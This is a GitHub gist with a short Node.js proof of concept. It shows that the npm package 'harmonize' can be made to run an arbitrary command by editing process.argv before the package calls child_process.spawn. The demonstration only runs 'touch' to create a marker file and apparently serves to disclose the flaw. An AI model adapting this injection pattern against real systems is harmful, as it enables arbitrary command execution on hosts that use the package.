Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active October 28, 2023 21:42
Show Gist options
  • Save mcoimbra/fbe6050a07e23ede62f74daeae7fed64 to your computer and use it in GitHub Desktop.
Save mcoimbra/fbe6050a07e23ede62f74daeae7fed64 to your computer and use it in GitHub Desktop.
Package harmonize: by editing the process.argv it is possible to influence the command and flags invoked inside harmonize.
'use strict'
const pkg = require('harmonize');
process.argv[0] = 'touch';
process.argv.push('exploited.txt');
const flags = [];
/* This will create a local 'exploited.txt'.
* harmonize calls child_process.spawn(process.argv[0], flags.concat(process.argv.slice(1)), etc).
*/
pkg(flags);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment